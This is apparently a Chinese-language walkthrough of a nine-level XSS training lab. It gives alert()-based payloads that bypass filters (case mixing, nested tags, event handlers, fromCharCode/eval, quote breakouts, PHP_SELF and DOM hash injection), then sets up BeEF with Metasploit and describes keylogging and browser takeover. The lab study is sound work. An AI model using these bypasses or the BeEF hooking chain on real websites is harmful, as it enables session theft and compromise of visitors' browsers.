第一关
没有做什么过滤,只是简单的获取参数
name = <script>alert('1')</script>
第二关
对script做了一些过滤,大小写绕过就行
name = <scRipt>alert('1')</sCript>
第三关
与第二关的差别是大小写绕过不敏感了,所以使用重写一下就行了
<sc<script>ript>alert("111")</scr</script>ipt>
第四关
对script进行了过滤,只要标签中使用script就出错,用其他的标签就行了
<img src=# onclick=alert('aaa')>
一块介绍下我知道的xss可利用的HTML标签
<a href="javascript:alert('ssssss')">1</a>
<a onmouseover="javascript:alert('aaa')">
<a onmouseover=alert('ssss')>
<img src=# onclick=alert('sss')>
<img src=# onerror=alert('sss')>
<a onclick="window.alert()">1</a>
<video src=# onclick=alert('sss')>
还有一些与上面类似就不具体写了
<form action=""> <audio src="#"> <iframe scr="#">
如果不能出现弹窗可能是被浏览器阻止了,换个低版本的浏览器就行了
第五关
匹配alert的大小写
测试弹窗的函数不仅有alert还有prompt confirm eval(String.fromCharCode()
)
最后一个的意思就是把字符换成ascii码在执行
比如这关我使用的是最后一个
<a onmouseover= eval(String.fromCharCode(97,108,101,114,116,40,39,116,101,115,116,39,41,59)) >
第六关
他的输出值在script里面所以闭合前面的script或者直接插入
name=hacker";alert(1);//
name=hacker</script><script>alert('111')</script>
第七关
与第六关不同的是,闭合由双引号改为了单引号,而且加入了htmlentities()函数,这个函数会将 < >和"实体化掉,因此无法通过闭合<script>标签的方式来解决所以payload
name=hacker';alert(1);//
第八关
在form表单中,有个<?php echo $_SERVER['PHP_SELF']; ?>,$_SERVER['PHP_SELF']这个东西是干什么用的,当前执行脚本的文件名,与document root有关,例如,本关的ip/xss/example8.php的脚本中使用$_SERVER['PHP_SELF']将得到/xss/example8.php,所以这里的payload是
example8.php/"><script>alert(1)</script>
第九关
dom-xss实锤,所谓的dom-xss其实是浏览器本地dom树直接解析了,不会像服务器发起数据包请求,而location是javascript里面管理地址栏的内置对象,location对象:设置或获取当前URL的信息。使用location对象可以设置或返回URL中的一些信息,一个完整的URL地址的格式为:协议://主机:端口/路径名称?搜索条件#hash标识,此题的payload
example9.php#<script>alert("1")</script>
如果出现上面情况,这是浏览器的锅,换个低版本浏览器就行了
用工具弄下吧,这次用的工具是beef和msf
首先先说明一下我的beef与msf的安装环境
beef安装在/usr/share/beef-xss
msf安装在/usr/share/metasploit-framework/
切换到beef的安装环境cd /usr/share/beef-xss 找到配置文件config.yaml
找到密码账号修改下,beef不允许使用默认密码账号登录,然后找到metasploit改为true
修改之后保存退出
切换到metasploit cd /usr/share/beef-xss/extensions/metasploit修改配置文件
把enable改为true
把里面的host与callback_host都改为当前的ip地址(不要用回环地址)
ssl改为false
改变custom环境与msf相同
保存之后退出
打开另一个终端,依次输入一下命令
sservice postgresql restart重启一下数据库
msfdb init 初始化数据库
msfconsole 打开控制台
load msgrpc ServerHost=192.168.22.128 Pass=abc123
当然密码你也可以在上面的配置文件里面设置
使用刚刚的终端切换到beef-xss目录下
cd /usr/share/beef-xss
执行beef ./beef
出现这个加载就成功了
这个时候就可以登录beef了
http://127.0.0.1:3000/ui/panel
输入账号密码
根据beef可以获取到目标浏览器的版本等一些重要信息,监控键盘记录等,然后在msf中找到浏览器漏洞然后用beef跳转到指定得网页能获取到shell这里就不演示了。